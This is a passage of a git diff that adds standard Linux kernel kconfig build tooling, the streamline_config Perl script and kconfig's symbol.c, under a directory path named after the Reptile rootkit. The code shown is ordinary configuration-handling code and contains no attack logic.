Licensed under the terms of the GNU GPL License version 2 +# +# It's simple enough to figure out how this works. +# If not, then you can ask me at stripconfig@goodmis.org +# +# What it does? +# +# If you have installed a Linux kernel from a distribution +# that turns on way too many modules than you need, and +# you only want the modules you use, then this program +# is perfect for you. +# +# It gives you the ability to turn off all the modules that are +# not loaded on your system. +# +# Howto: +# +# 1. Boot up the kernel that you want to stream line the config on. +# 2. Change directory to the directory holding the source of the +# kernel that you just booted. +# 3. Copy the configuraton file to this directory as .config +# 4. Have all your devices that you need modules for connected and +# operational (make sure that their corresponding modules are loaded) +# 5. Run this script redirecting the output to some other file +# like config_strip. +# 6. Back up your old config (if you want too). +# 7. copy the config_strip file to .config +# 8. Run "make oldconfig" +# +# Now your kernel is ready to be built with only the modules that +# are loaded. +# +# Here's what I did with my Debian distribution. +# +# cd /usr/src/linux-2.6.10 +# cp /boot/config-2.6.10-1-686-smp .config +# ~/bin/streamline_config > config_strip +# mv .config config_sav +# mv config_strip .config +# make oldconfig +# +use strict; +use Getopt::Long; + +# set the environment variable LOCALMODCONFIG_DEBUG to get +# debug output. +my $debugprint = 0; +$debugprint = 1 if (defined($ENV{LOCALMODCONFIG_DEBUG})); + +sub dprint { + return if (!$debugprint); + print STDERR @_; +} + +my $config = ".config"; + +my $uname = `uname -r`; +chomp $uname; + +my @searchconfigs = ( + { + "file" => ".config", + "exec" => "cat", + }, + { + "file" => "/proc/config.gz", + "exec" => "zcat", + }, + { + "file" => "/boot/config-$uname", + "exec" => "cat", + }, + { + "file" => "/boot/vmlinuz-$uname", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "vmlinux", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "/lib/modules/$uname/kernel/kernel/configs.ko", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "kernel/configs.ko", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, + { + "file" => "kernel/configs.o", + "exec" => "scripts/extract-ikconfig", + "test" => "scripts/extract-ikconfig", + }, +); + +sub read_config { + foreach my $conf (@searchconfigs) { + my $file = $conf->{"file"}; + + next if ( ! -f "$file"); + + if (defined($conf->{"test"})) { + `$conf->{"test"} $conf->{"file"} 2>/dev/null`; + next if ($?); + } + + my $exec = $conf->{"exec"}; + + print STDERR "using config: '$file'\n"; + + open(my $infile, '-|', "$exec $file") || die "Failed to run $exec $file"; + my @x = <$infile>; + close $infile; + return @x; + } + die "No config file found"; +} + +my @config_file = read_config; + +# Parse options +my $localmodconfig = 0; +my $localyesconfig = 0; + +GetOptions("localmodconfig" => \$localmodconfig, + "localyesconfig" => \$localyesconfig); + +# Get the build source and top level Kconfig file (passed in) +my $ksource = ($ARGV[0] ? $ARGV[0] : '.'); +my $kconfig = $ARGV[1]; +my $lsmod_file = $ENV{'LSMOD'}; + +my @makefiles = `find $ksource -name Makefile 2>/dev/null`; +chomp @makefiles; + +my %depends; +my %selects; +my %prompts; +my %objects; +my $var; +my $iflevel = 0; +my @ifdeps; + +# prevent recursion +my %read_kconfigs; + +sub read_kconfig { + my ($kconfig) = @_; + + my $state = "NONE"; + my $config; + + my $cont = 0; + my $line; + + my $source = "$ksource/$kconfig"; + my $last_source = ""; + + # Check for any environment variables used + while ($source =~ /\$(\w+)/ && $last_source ne $source) { + my $env = $1; + $last_source = $source; + $source =~ s/\$$env/$ENV{$env}/; + } + + open(my $kinfile, '<', $source) || die "Can't open $kconfig"; + while (<$kinfile>) { + chomp; + + # Make sure that lines ending with \ continue + if ($cont) { + $_ = $line . " " . $_; + } + + if (s/\\$//) { + $cont = 1; + $line = $_; + next; + } + + $cont = 0; + + # collect any Kconfig sources + if (/^source\s*"(.*)"/) { + my $kconfig = $1; + # prevent reading twice. + if (!defined($read_kconfigs{$kconfig})) { + $read_kconfigs{$kconfig} = 1; + read_kconfig($kconfig); + } + next; + } + + # configs found + if (/^\s*(menu)?config\s+(\S+)\s*$/) { + $state = "NEW"; + $config = $2; + + # Add depends for 'if' nesting + for (my $i = 0; $i < $iflevel; $i++) { + if ($i) { + $depends{$config} .= " " . $ifdeps[$i]; + } else { + $depends{$config} = $ifdeps[$i]; + } + $state = "DEP"; + } + + # collect the depends for the config + } elsif ($state eq "NEW" && /^\s*depends\s+on\s+(.*)$/) { + $state = "DEP"; + $depends{$config} = $1; + } elsif ($state eq "DEP" && /^\s*depends\s+on\s+(.*)$/) { + $depends{$config} .= " " . $1; + + # Get the configs that select this config + } elsif ($state ne "NONE" && /^\s*select\s+(\S+)/) { + my $conf = $1; + if (defined($selects{$conf})) { + $selects{$conf} .= " " . $config; + } else { + $selects{$conf} = $config; + } + + # configs without prompts must be selected + } elsif ($state ne "NONE" && /^\s*tristate\s\S/) { + # note if the config has a prompt + $prompts{$config} = 1; + + # Check for if statements + } elsif (/^if\s+(.*\S)\s*$/) { + my $deps = $1; + # remove beginning and ending non text + $deps =~ s/^[^a-zA-Z0-9_]*//; + $deps =~ s/[^a-zA-Z0-9_]*$//; + + my @deps = split /[^a-zA-Z0-9_]+/, $deps; + + $ifdeps[$iflevel++] = join ':', @deps; + + } elsif (/^endif/) { + + $iflevel-- if ($iflevel); + + # stop on "help" + } elsif (/^\s*help\s*$/) { + $state = "NONE"; + } + } + close($kinfile); +} + +if ($kconfig) { + read_kconfig($kconfig); +} + +# Makefiles can use variables to define their dependencies +sub convert_vars { + my ($line, %vars) = @_; + + my $process = ""; + + while ($line =~ s/^(.*?)(\$\((.*?)\))//) { + my $start = $1; + my $variable = $2; + my $var = $3; + + if (defined($vars{$var})) { + $process .= $start . $vars{$var}; + } else { + $process .= $start . $variable; + } + } + + $process .= $line; + + return $process; +} + +# Read all Makefiles to map the configs to the objects +foreach my $makefile (@makefiles) { + + my $line = ""; + my %make_vars; + + open(my $infile, '<', $makefile) || die "Can't open $makefile"; + while (<$infile>) { + # if this line ends with a backslash, continue + chomp; + if (/^(.*)\\$/) { + $line .= $1; + next; + } + + $line .= $_; + $_ = $line; + $line = ""; + + my $objs; + + # Convert variables in a line (could define configs) + $_ = convert_vars($_, %make_vars); + + # collect objects after obj-$(CONFIG_FOO_BAR) + if (/obj-\$\((CONFIG_[^\)]*)\)\s*[+:]?=\s*(.*)/) { + $var = $1; + $objs = $2; + + # check if variables are set + } elsif (/^\s*(\S+)\s*[:]?=\s*(.*\S)/) { + $make_vars{$1} = $2; + } + if (defined($objs)) { + foreach my $obj (split /\s+/,$objs) { + $obj =~ s/-/_/g; + if ($obj =~ /(.*)\.o$/) { + # Objects may be enabled by more than one config. + # Store configs in an array. + my @arr; + + if (defined($objects{$1})) { + @arr = @{$objects{$1}}; + } + + $arr[$#arr+1] = $var; + + # The objects have a hash mapping to a reference + # of an array of configs. + $objects{$1} = \@arr; + } + } + } + } + close($infile); +} + +my %modules; +my $linfile; + +if (defined($lsmod_file)) { + if ( ! -f $lsmod_file) { + if ( -f $ENV{'objtree'}."/".$lsmod_file) { + $lsmod_file = $ENV{'objtree'}."/".$lsmod_file; + } else { + die "$lsmod_file not found"; + } + } + + my $otype = ( -x $lsmod_file) ? '-|' : '<'; + open($linfile, $otype, $lsmod_file); + +} else { + + # see what modules are loaded on this system + my $lsmod; + + foreach my $dir ( ("/sbin", "/bin", "/usr/sbin", "/usr/bin") ) { + if ( -x "$dir/lsmod" ) { + $lsmod = "$dir/lsmod"; + last; + } +} + if (!defined($lsmod)) { + # try just the path + $lsmod = "lsmod"; + } + + open($linfile, '-|', $lsmod) || die "Can not call lsmod with $lsmod"; +} + +while (<$linfile>) { + next if (/^Module/); # Skip the first line. + if (/^(\S+)/) { + $modules{$1} = 1; + } +} +close ($linfile); + +# add to the configs hash all configs that are needed to enable +# a loaded module. This is a direct obj-${CONFIG_FOO} += bar.o +# where we know we need bar.o so we add FOO to the list. +my %configs; +foreach my $module (keys(%modules)) { + if (defined($objects{$module})) { + my @arr = @{$objects{$module}}; + foreach my $conf (@arr) { + $configs{$conf} = $module; + dprint "$conf added by direct ($module)\n"; + if ($debugprint) { + my $c=$conf; + $c =~ s/^CONFIG_//; + if (defined($depends{$c})) { + dprint " deps = $depends{$c}\n"; + } else { + dprint " no deps\n"; + } + } + } + } else { + # Most likely, someone has a custom (binary?) module loaded. + print STDERR "$module config not found!!\n"; + } +} + +# Read the current config, and see what is enabled. We want to +# ignore configs that we would not enable anyway. + +my %orig_configs; +my $valid = "A-Za-z_0-9"; + +foreach my $line (@config_file) { + $_ = $line; + + if (/(CONFIG_[$valid]*)=(m|y)/) { + $orig_configs{$1} = $2; + } +} + +my $repeat = 1; + +my $depconfig; + +# +# Note, we do not care about operands (like: &&, ||, !) we want to add any +# config that is in the depend list of another config. This script does +# not enable configs that are not already enabled. If we come across a +# config A that depends on !B, we can still add B to the list of depends +# to keep on. If A was on in the original config, B would not have been +# and B would not be turned on by this script. +# +sub parse_config_depends +{ + my ($p) = @_; + + while ($p =~ /[$valid]/) { + + if ($p =~ /^[^$valid]*([$valid]+)/) { + my $conf = "CONFIG_" . $1; + + $p =~ s/^[^$valid]*[$valid]+//; + + # We only need to process if the depend config is a module + if (!defined($orig_configs{$conf}) || !$orig_configs{conf} eq "m") { + next; + } + + if (!defined($configs{$conf})) { + # We must make sure that this config has its + # dependencies met. + $repeat = 1; # do again + dprint "$conf selected by depend $depconfig\n"; + $configs{$conf} = 1; + } + } else { + die "this should never happen"; + } + } +} + +# Select is treated a bit differently than depends. We call this +# when a config has no prompt and requires another config to be +# selected. We use to just select all configs that selected this +# config, but found that that can balloon into enabling hundreds +# of configs that we do not care about. +# +# The idea is we look at all the configs that select it. If one +# is already in our list of configs to enable, then there's nothing +# else to do. If there isn't, we pick the first config that was +# enabled in the orignal config and use that. +sub parse_config_selects +{ + my ($config, $p) = @_; + + my $next_config; + + while ($p =~ /[$valid]/) { + + if ($p =~ /^[^$valid]*([$valid]+)/) { + my $conf = "CONFIG_" . $1; + + $p =~ s/^[^$valid]*[$valid]+//; + + # Make sure that this config exists in the current .config file + if (!defined($orig_configs{$conf})) { + dprint "$conf not set for $config select\n"; + next; + } + + # Check if something other than a module selects this config + if (defined($orig_configs{$conf}) && $orig_configs{$conf} ne "m") { + dprint "$conf (non module) selects config, we are good\n"; + # we are good with this + return; + } + if (defined($configs{$conf})) { + dprint "$conf selects $config so we are good\n"; + # A set config selects this config, we are good + return; + } + # Set this config to be selected + if (!defined($next_config)) { + $next_config = $conf; + } + } else { + die "this should never happen"; + } + } + + # If no possible config selected this, then something happened. + if (!defined($next_config)) { + print STDERR "WARNING: $config is required, but nothing in the\n"; + print STDERR " current config selects it.\n"; + return; + } + + # If we are here, then we found no config that is set and + # selects this config. Repeat. + $repeat = 1; + # Make this config need to be selected + $configs{$next_config} = 1; + dprint "$next_config selected by select $config\n"; +} + +my %process_selects; + +# loop through all configs, select their dependencies. +sub loop_depend { + $repeat = 1; + + while ($repeat) { + $repeat = 0; + + forloop: + foreach my $config (keys %configs) { + + # If this config is not a module, we do not need to process it + if (defined($orig_configs{$config}) && $orig_configs{$config} ne "m") { + next forloop; + } + + $config =~ s/^CONFIG_//; + $depconfig = $config; + + if (defined($depends{$config})) { + # This config has dependencies. Make sure they are also included + parse_config_depends $depends{$config}; + } + + # If the config has no prompt, then we need to check if a config + # that is enabled selected it. Or if we need to enable one. + if (!defined($prompts{$config}) && defined($selects{$config})) { + $process_selects{$config} = 1; + } + } + } +} + +sub loop_select { + + foreach my $config (keys %process_selects) { + $config =~ s/^CONFIG_//; + + dprint "Process select $config\n"; + + # config has no prompt and must be selected. + parse_config_selects $config, $selects{$config}; + } +} + +while ($repeat) { + # Get the first set of configs and their dependencies. + loop_depend; + + $repeat = 0; + + # Now we need to see if we have to check selects; + loop_select; +} + +my %setconfigs; + +# Finally, read the .config file and turn off any module enabled that +# we could not find a reason to keep enabled. +foreach my $line (@config_file) { + $_ = $line; + + if (/CONFIG_IKCONFIG/) { + if (/# CONFIG_IKCONFIG is not set/) { + # enable IKCONFIG at least as a module + print "CONFIG_IKCONFIG=m\n"; + # don't ask about PROC + print "# CONFIG_IKCONFIG_PROC is not set\n"; + } else { + print; + } + next; + } + + if (/^(CONFIG.*)=(m|y)/) { + if (defined($configs{$1})) { + if ($localyesconfig) { + $setconfigs{$1} = 'y'; + print "$1=y\n"; + next; + } else { + $setconfigs{$1} = $2; + } + } elsif ($2 eq "m") { + print "# $1 is not set\n"; + next; + } + } + print; +} + +# Integrity check, make sure all modules that we want enabled do +# indeed have their configs set. +loop: +foreach my $module (keys(%modules)) { + if (defined($objects{$module})) { + my @arr = @{$objects{$module}}; + foreach my $conf (@arr) { + if (defined($setconfigs{$conf})) { + next loop; + } + } + print STDERR "module $module did not have configs"; + foreach my $conf (@arr) { + print STDERR " " , $conf; + } + print STDERR "\n"; + } +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c b/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c new file mode 100644 index 0000000..7caabdb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/symbol.c @@ -0,0 +1,1373 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include + +#include "lkc.h" + +struct symbol symbol_yes = { + .name = "y", + .curr = { "y", yes }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_mod = { + .name = "m", + .curr = { "m", mod }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_no = { + .name = "n", + .curr = { "n", no }, + .flags = SYMBOL_CONST|SYMBOL_VALID, +}, symbol_empty = { + .name = "", + .curr = { "", no }, + .flags = SYMBOL_VALID, +}; + +struct symbol *sym_defconfig_list; +struct symbol *modules_sym; +tristate modules_val; + +struct expr *sym_env_list; + +static void sym_add_default(struct symbol *sym, const char *def) +{ + struct property *prop = prop_alloc(P_DEFAULT, sym); + + prop->expr = expr_alloc_symbol(sym_lookup(def, SYMBOL_CONST)); +} + +void sym_init(void) +{ + struct symbol *sym; + struct utsname uts; + static bool inited = false; + + if (inited) + return; + inited = true; + + uname(&uts); + + sym = sym_lookup("UNAME_RELEASE", 0); + sym->type = S_STRING; + sym->flags |= SYMBOL_AUTO; + sym_add_default(sym, uts.release); +} + +enum symbol_type sym_get_type(struct symbol *sym) +{ + enum symbol_type type = sym->type; + + if (type == S_TRISTATE) { + if (sym_is_choice_value(sym) && sym->visible == yes) + type = S_BOOLEAN; + else if (modules_val == no) + type = S_BOOLEAN; + } + return type; +} + +const char *sym_type_name(enum symbol_type type) +{ + switch (type) { + case S_BOOLEAN: + return "boolean"; + case S_TRISTATE: + return "tristate"; + case S_INT: + return "integer"; + case S_HEX: + return "hex"; + case S_STRING: + return "string"; + case S_UNKNOWN: + return "unknown"; + case S_OTHER: + break; + } + return "???"; +} + +struct property *sym_get_choice_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_choices(sym, prop) + return prop; + return NULL; +} + +struct property *sym_get_env_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_properties(sym, prop, P_ENV) + return prop; + return NULL; +} + +struct property *sym_get_default_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_defaults(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri != no) + return prop; + } + return NULL; +} + +static struct property *sym_get_range_prop(struct symbol *sym) +{ + struct property *prop; + + for_all_properties(sym, prop, P_RANGE) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri != no) + return prop; + } + return NULL; +} + +static long long sym_get_range_val(struct symbol *sym, int base) +{ + sym_calc_value(sym); + switch (sym->type) { + case S_INT: + base = 10; + break; + case S_HEX: + base = 16; + break; + default: + break; + } + return strtoll(sym->curr.val, NULL, base); +} + +static void sym_validate_range(struct symbol *sym) +{ + struct property *prop; + int base; + long long val, val2; + char str[64]; + + switch (sym->type) { + case S_INT: + base = 10; + break; + case S_HEX: + base = 16; + break; + default: + return; + } + prop = sym_get_range_prop(sym); + if (!prop) + return; + val = strtoll(sym->curr.val, NULL, base); + val2 = sym_get_range_val(prop->expr->left.sym, base); + if (val >= val2) { + val2 = sym_get_range_val(prop->expr->right.sym, base); + if (val <= val2) + return; + } + if (sym->type == S_INT) + sprintf(str, "%lld", val2); + else + sprintf(str, "0x%llx", val2); + sym->curr.val = strdup(str); +} + +static void sym_calc_visibility(struct symbol *sym) +{ + struct property *prop; + tristate tri; + + /* any prompt visible? */ + tri = no; + for_all_prompts(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + tri = EXPR_OR(tri, prop->visible.tri); + } + if (tri == mod && (sym->type != S_TRISTATE || modules_val == no)) + tri = yes; + if (sym->visible != tri) { + sym->visible = tri; + sym_set_changed(sym); + } + if (sym_is_choice_value(sym)) + return; + /* defaulting to "yes" if no explicit "depends on" are given */ + tri = yes; + if (sym->dir_dep.expr) + tri = expr_calc_value(sym->dir_dep.expr); + if (tri == mod) + tri = yes; + if (sym->dir_dep.tri != tri) { + sym->dir_dep.tri = tri; + sym_set_changed(sym); + } + tri = no; + if (sym->rev_dep.expr) + tri = expr_calc_value(sym->rev_dep.expr); + if (tri == mod && sym_get_type(sym) == S_BOOLEAN) + tri = yes; + if (sym->rev_dep.tri != tri) { + sym->rev_dep.tri = tri; + sym_set_changed(sym); + } +} + +/* + * Find the default symbol for a choice. + * First try the default values for the choice symbol + * Next locate the first visible choice value + * Return NULL if none was found + */ +struct symbol *sym_choice_default(struct symbol *sym) +{ + struct symbol *def_sym; + struct property *prop; + struct expr *e; + + /* any of the defaults visible? */ + for_all_defaults(sym, prop) { + prop->visible.tri = expr_calc_value(prop->visible.expr); + if (prop->visible.tri == no) + continue; + def_sym = prop_get_symbol(prop); + if (def_sym->visible != no) + return def_sym; + } + + /* just get the first visible value */ + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, def_sym) + if (def_sym->visible != no) + return def_sym; + + /* failed to locate any defaults */ + return NULL; +} + +static struct symbol *sym_calc_choice(struct symbol *sym) +{ + struct symbol *def_sym; + struct property *prop; + struct expr *e; + int flags; + + /* first calculate all choice values' visibilities */ + flags = sym->flags; + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, def_sym) { + sym_calc_visibility(def_sym); + if (def_sym->visible != no) + flags &= def_sym->flags; + } + + sym->flags &= flags | ~SYMBOL_DEF_USER; + + /* is the user choice visible? */ + def_sym = sym->def[S_DEF_USER].val; + if (def_sym && def_sym->visible != no) + return def_sym; + + def_sym = sym_choice_default(sym); + + if (def_sym == NULL) + /* no choice? reset tristate value */ + sym->curr.tri = no; + + return def_sym; +} + +void sym_calc_value(struct symbol *sym) +{ + struct symbol_value newval, oldval; + struct property *prop; + struct expr *e; + + if (!sym) + return; + + if (sym->flags & SYMBOL_VALID) + return; + + if (sym_is_choice_value(sym) && + sym->flags & SYMBOL_NEED_SET_CHOICE_VALUES) { + sym->flags &= ~SYMBOL_NEED_SET_CHOICE_VALUES; + prop = sym_get_choice_prop(sym); + sym_calc_value(prop_get_symbol(prop)); + } + + sym->flags |= SYMBOL_VALID; + + oldval = sym->curr; + + switch (sym->type) { + case S_INT: + case S_HEX: + case S_STRING: + newval = symbol_empty.curr; + break; + case S_BOOLEAN: + case S_TRISTATE: + newval = symbol_no.curr; + break; + default: + sym->curr.val = sym->name; + sym->curr.tri = no; + return; + } + if (!sym_is_choice_value(sym)) + sym->flags &= ~SYMBOL_WRITE; + + sym_calc_visibility(sym); + + /* set default if recursively called */ + sym->curr = newval; + + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_is_choice_value(sym) && sym->visible == yes) { + prop = sym_get_choice_prop(sym); + newval.tri = (prop_get_symbol(prop)->curr.val == sym) ? yes : no; + } else { + if (sym->visible != no) { + /* if the symbol is visible use the user value + * if available, otherwise try the default value + */ + sym->flags |= SYMBOL_WRITE; + if (sym_has_value(sym)) { + newval.tri = EXPR_AND(sym->def[S_DEF_USER].tri, + sym->visible); + goto calc_newval; + } + } + if (sym->rev_dep.tri != no) + sym->flags |= SYMBOL_WRITE; + if (!sym_is_choice(sym)) { + prop = sym_get_default_prop(sym); + if (prop) { + sym->flags |= SYMBOL_WRITE; + newval.tri = EXPR_AND(expr_calc_value(prop->expr), + prop->visible.tri); + } + } + calc_newval: + if (sym->dir_dep.tri == no && sym->rev_dep.tri != no) { + struct expr *e; + e = expr_simplify_unmet_dep(sym->rev_dep.expr, + sym->dir_dep.expr); + fprintf(stderr, "warning: ("); + expr_fprint(e, stderr); + fprintf(stderr, ") selects %s which has unmet direct dependencies (", + sym->name); + expr_fprint(sym->dir_dep.expr, stderr); + fprintf(stderr, ")\n"); + expr_free(e); + } + newval.tri = EXPR_OR(newval.tri, sym->rev_dep.tri); + } + if (newval.tri == mod && sym_get_type(sym) == S_BOOLEAN) + newval.tri = yes; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (sym->visible != no) { + sym->flags |= SYMBOL_WRITE; + if (sym_has_value(sym)) { + newval.val = sym->def[S_DEF_USER].val; + break; + } + } + prop = sym_get_default_prop(sym); + if (prop) { + struct symbol *ds = prop_get_symbol(prop); + if (ds) { + sym->flags |= SYMBOL_WRITE; + sym_calc_value(ds); + newval.val = ds->curr.val; + } + } + break; + default: + ; + } + + sym->curr = newval; + if (sym_is_choice(sym) && newval.tri == yes) + sym->curr.val = sym_calc_choice(sym); + sym_validate_range(sym); + + if (memcmp(&oldval, &sym->curr, sizeof(oldval))) { + sym_set_changed(sym); + if (modules_sym == sym) { + sym_set_all_changed(); + modules_val = modules_sym->curr.tri; + } + } + + if (sym_is_choice(sym)) { + struct symbol *choice_sym; + + prop = sym_get_choice_prop(sym); + expr_list_for_each_sym(prop->expr, e, choice_sym) { + if ((sym->flags & SYMBOL_WRITE) && + choice_sym->visible != no) + choice_sym->flags |= SYMBOL_WRITE; + if (sym->flags & SYMBOL_CHANGED) + sym_set_changed(choice_sym); + } + } + + if (sym->flags & SYMBOL_AUTO) + sym->flags &= ~SYMBOL_WRITE; + + if (sym->flags & SYMBOL_NEED_SET_CHOICE_VALUES) + set_all_choice_values(sym); +} + +void sym_clear_all_valid(void) +{ + struct symbol *sym; + int i; + + for_all_symbols(i, sym) + sym->flags &= ~SYMBOL_VALID; + sym_add_change_count(1); + if (modules_sym) + sym_calc_value(modules_sym); +} + +void sym_set_changed(struct symbol *sym) +{ + struct property *prop; + + sym->flags |= SYMBOL_CHANGED; + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu) + prop->menu->flags |= MENU_CHANGED; + } +} + +void sym_set_all_changed(void) +{ + struct symbol *sym; + int i; + + for_all_symbols(i, sym) + sym_set_changed(sym); +} + +bool sym_tristate_within_range(struct symbol *sym, tristate val) +{ + int type = sym_get_type(sym); + + if (sym->visible == no) + return false; + + if (type != S_BOOLEAN && type != S_TRISTATE) + return false; + + if (type == S_BOOLEAN && val == mod) + return false; + if (sym->visible <= sym->rev_dep.tri) + return false; + if (sym_is_choice_value(sym) && sym->visible == yes) + return val == yes; + return val >= sym->rev_dep.tri && val <= sym->visible; +} + +bool sym_set_tristate_value(struct symbol *sym, tristate val) +{ + tristate oldval = sym_get_tristate_value(sym); + + if (oldval != val && !sym_tristate_within_range(sym, val)) + return false; + + if (!(sym->flags & SYMBOL_DEF_USER)) { + sym->flags |= SYMBOL_DEF_USER; + sym_set_changed(sym); + } + /* + * setting a choice value also resets the new flag of the choice + * symbol and all other choice values. + */ + if (sym_is_choice_value(sym) && val == yes) { + struct symbol *cs = prop_get_symbol(sym_get_choice_prop(sym)); + struct property *prop; + struct expr *e; + + cs->def[S_DEF_USER].val = sym; + cs->flags |= SYMBOL_DEF_USER; + prop = sym_get_choice_prop(cs); + for (e = prop->expr; e; e = e->left.expr) { + if (e->right.sym->visible != no) + e->right.sym->flags |= SYMBOL_DEF_USER; + } + } + + sym->def[S_DEF_USER].tri = val; + if (oldval != val) + sym_clear_all_valid(); + + return true; +} + +tristate sym_toggle_tristate_value(struct symbol *sym) +{ + tristate oldval, newval; + + oldval = newval = sym_get_tristate_value(sym); + do { + switch (newval) { + case no: + newval = mod; + break; + case mod: + newval = yes; + break; + case yes: + newval = no; + break; + } + if (sym_set_tristate_value(sym, newval)) + break; + } while (oldval != newval); + return newval; +} + +bool sym_string_valid(struct symbol *sym, const char *str) +{ + signed char ch; + + switch (sym->type) { + case S_STRING: + return true; + case S_INT: + ch = *str++; + if (ch == '-') + ch = *str++; + if (!isdigit(ch)) + return false; + if (ch == '0' && *str != 0) + return false; + while ((ch = *str++)) { + if (!isdigit(ch)) + return false; + } + return true; + case S_HEX: + if (str[0] == '0' && (str[1] == 'x' || str[1] == 'X')) + str += 2; + ch = *str++; + do { + if (!isxdigit(ch)) + return false; + } while ((ch = *str++)); + return true; + case S_BOOLEAN: + case S_TRISTATE: + switch (str[0]) { + case 'y': case 'Y': + case 'm': case 'M': + case 'n': case 'N': + return true; + } + return false; + default: + return false; + } +} + +bool sym_string_within_range(struct symbol *sym, const char *str) +{ + struct property *prop; + long long val; + + switch (sym->type) { + case S_STRING: + return sym_string_valid(sym, str); + case S_INT: + if (!sym_string_valid(sym, str)) + return false; + prop = sym_get_range_prop(sym); + if (!prop) + return true; + val = strtoll(str, NULL, 10); + return val >= sym_get_range_val(prop->expr->left.sym, 10) && + val <= sym_get_range_val(prop->expr->right.sym, 10); + case S_HEX: + if (!sym_string_valid(sym, str)) + return false; + prop = sym_get_range_prop(sym); + if (!prop) + return true; + val = strtoll(str, NULL, 16); + return val >= sym_get_range_val(prop->expr->left.sym, 16) && + val <= sym_get_range_val(prop->expr->right.sym, 16); + case S_BOOLEAN: + case S_TRISTATE: + switch (str[0]) { + case 'y': case 'Y': + return sym_tristate_within_range(sym, yes); + case 'm': case 'M': + return sym_tristate_within_range(sym, mod); + case 'n': case 'N': + return sym_tristate_within_range(sym, no); + } + return false; + default: + return false; + } +} + +bool sym_set_string_value(struct symbol *sym, const char *newval) +{ + const char *oldval; + char *val; + int size; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + switch (newval[0]) { + case 'y': case 'Y': + return sym_set_tristate_value(sym, yes); + case 'm': case 'M': + return sym_set_tristate_value(sym, mod); + case 'n': case 'N': + return sym_set_tristate_value(sym, no); + } + return false; + default: + ; + } + + if (!sym_string_within_range(sym, newval)) + return false; + + if (!(sym->flags & SYMBOL_DEF_USER)) { + sym->flags |= SYMBOL_DEF_USER; + sym_set_changed(sym); + } + + oldval = sym->def[S_DEF_USER].val; + size = strlen(newval) + 1; + if (sym->type == S_HEX && (newval[0] != '0' || (newval[1] != 'x' && newval[1] != 'X'))) { + size += 2; + sym->def[S_DEF_USER].val = val = xmalloc(size); + *val++ = '0'; + *val++ = 'x'; + } else if (!oldval || strcmp(oldval, newval)) + sym->def[S_DEF_USER].val = val = xmalloc(size); + else + return true; + + strcpy(val, newval); + free((void *)oldval); + sym_clear_all_valid(); + + return true; +} + +/* + * Find the default value associated to a symbol. + * For tristate symbol handle the modules=n case + * in which case "m" becomes "y". + * If the symbol does not have any default then fallback + * to the fixed default values. + */ +const char *sym_get_string_default(struct symbol *sym) +{ + struct property *prop; + struct symbol *ds; + const char *str; + tristate val; + + sym_calc_visibility(sym); + sym_calc_value(modules_sym); + val = symbol_no.curr.tri; + str = symbol_empty.curr.val; + + /* If symbol has a default value look it up */ + prop = sym_get_default_prop(sym); + if (prop != NULL) { + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + /* The visibility may limit the value from yes => mod */ + val = EXPR_AND(expr_calc_value(prop->expr), prop->visible.tri); + break; + default: + /* + * The following fails to handle the situation + * where a default value is further limited by + * the valid range. + */ + ds = prop_get_symbol(prop); + if (ds != NULL) { + sym_calc_value(ds); + str = (const char *)ds->curr.val; + } + } + } + + /* Handle select statements */ + val = EXPR_OR(val, sym->rev_dep.tri); + + /* transpose mod to yes if modules are not enabled */ + if (val == mod) + if (!sym_is_choice_value(sym) && modules_sym->curr.tri == no) + val = yes; + + /* transpose mod to yes if type is bool */ + if (sym->type == S_BOOLEAN && val == mod) + val = yes; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + switch (val) { + case no: return "n"; + case mod: return "m"; + case yes: return "y"; + } + case S_INT: + case S_HEX: + return str; + case S_STRING: + return str; + case S_OTHER: + case S_UNKNOWN: + break; + } + return ""; +} + +const char *sym_get_string_value(struct symbol *sym) +{ + tristate val; + + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + val = sym_get_tristate_value(sym); + switch (val) { + case no: + return "n"; + case mod: + sym_calc_value(modules_sym); + return (modules_sym->curr.tri == no) ? "n" : "m"; + case yes: + return "y"; + } + break; + default: + ; + } + return (const char *)sym->curr.val; +} + +bool sym_is_changable(struct symbol *sym) +{ + return sym->visible > sym->rev_dep.tri; +} + +static unsigned strhash(const char *s) +{ + /* fnv32 hash */ + unsigned hash = 2166136261U; + for (; *s; s++) + hash = (hash ^ *s) * 0x01000193; + return hash; +} + +struct symbol *sym_lookup(const char *name, int flags) +{ + struct symbol *symbol; + char *new_name; + int hash; + + if (name) { + if (name[0] && !name[1]) { + switch (name[0]) { + case 'y': return &symbol_yes; + case 'm': return &symbol_mod; + case 'n': return &symbol_no; + } + } + hash = strhash(name) % SYMBOL_HASHSIZE; + + for (symbol = symbol_hash[hash]; symbol; symbol = symbol->next) { + if (symbol->name && + !strcmp(symbol->name, name) && + (flags ? symbol->flags & flags + : !(symbol->flags & (SYMBOL_CONST|SYMBOL_CHOICE)))) + return symbol; + } + new_name = strdup(name); + } else { + new_name = NULL; + hash = 0; + } 